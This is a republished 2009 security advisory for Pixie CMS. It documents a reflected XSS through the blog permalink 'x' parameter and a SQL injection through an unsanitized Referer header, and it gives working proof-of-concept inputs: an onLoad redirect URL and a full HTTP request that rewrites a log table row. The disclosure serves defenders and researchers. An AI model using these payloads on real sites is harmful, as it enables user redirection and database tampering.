pixie cms (xss/sql) Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
pixie cms XSS and SQL Injection vulnerabilitie

                                                Pixie CMS Multiple Vulnerabilities

Pixie is a &#34;free, open source web application that will help you quickly
create your own website.  Many people refer to this type of software as
a &#39;content management system (cms)&#39;&#34; (http://www.getpixie.co.uk).  Pixie
is written in PHP with a MySQL database back end.

Pixie Blog XSS

It is possible to trivially introduce a Cross Site Scripting (XSS)
attack by tampering with blog post URL variables, specifically the &#34;x=&#34;
variable which is designed to contain blog posting titles.  For
instance, on a default install of Pixie, the first blog post contains is
referenced using the URL ?s=blog&m=permalink&x=my-first-post.  The &#34;x&#34;
variable is interlaced with the BODY tag during display on line 150 of
index.php:

&#60;body class=&#34;pixie &#60;?php $s.&#34; &#34;; $date_array = getdate(); print
&#34;y&#34;.$date_array[&#39;year&#39;].&#34; &#34;; print &#34;m&#34;.$date_array[&#39;mon&#39;].&#34; &#34;; print
&#34;d&#34;.$date_array[&#39;mday&#39;].&#34; &#34;; print &#34;h&#34;.$date_array[&#39;hours&#39;].&#34; &#34;; print
$s; ?&#62;&#34;&#62;

by changing the &#34;x&#34; variable it is possible to inject HTML code into the
page display.  For instance, a Pixie blog post that was intended to be
published as

http://192.168.0.67/pixie/?s=blog&m=permalink&x=my-first-post

Can be altered to the form:

http://192.168.0.67/pixie/?s=blog&m=permalink&x=&#34;
onLoad=&#34;location.href=&#39;http://lampsecurity.org&#39;

and redirect users to the &#34;onLoad&#34; specified URL.

Pixie Blog SQL Injection

Pixie blog is vulnerable to SQL injection by manipulating the &#34;referer&#34;
client request.  Referers are tracked in the referral() function
(/admin/lib/lib_logs.php line 31) but are not sanitized.  Thus,
manipulating the referer can allow an attacker to perform SQL Injection
attacks.  For example, sending the request:

GET http://192.168.0.67/pixie/?s=events HTTP/1.1
Host: 192.168.0.67
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6)
Gecko/2009020501 Firefox/3.0.6 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.lampsecurity.org/pixie/?s=about&#39;,log_id=1 on
duplicate key update log_message=&#39;foobar
Cookie: bb2_screener_=1237492959+192.168.0.3

Results in the pixie_log table being altered by issuing the following
SQL statement:

insert into pixie_log set user_id = &#39;Visitor&#39;, user_ip = &#39;192.168.0.3&#39;,
log_time = now(), log_type = &#39;referral&#39;, log_icon = &#39;referral&#39;,
log_message = &#39;http://www.lampsecurity.org/pixie/?s=about&#39;,log_id=1 on
duplicate key update log_message=&#39;foobar&#39;

resulting in:

mysql&#62; select * from pixie_log where log_id=1;

+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
| log_id | user_id | user_ip     | log_time            | log_type |
log_message | log_icon | log_important |
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
|      1 | Visitor | 192.168.0.3 | 2009-03-19 16:49:31 | system   |
foobar      | error    | yes           |
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
1 row in set (0.00 sec)

This vulnerability report is also published at
http://lampsecurity.org/Pixie-CMS-Multiple-Vulnerabilities.

# milw0rm.com [2009-03-20]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1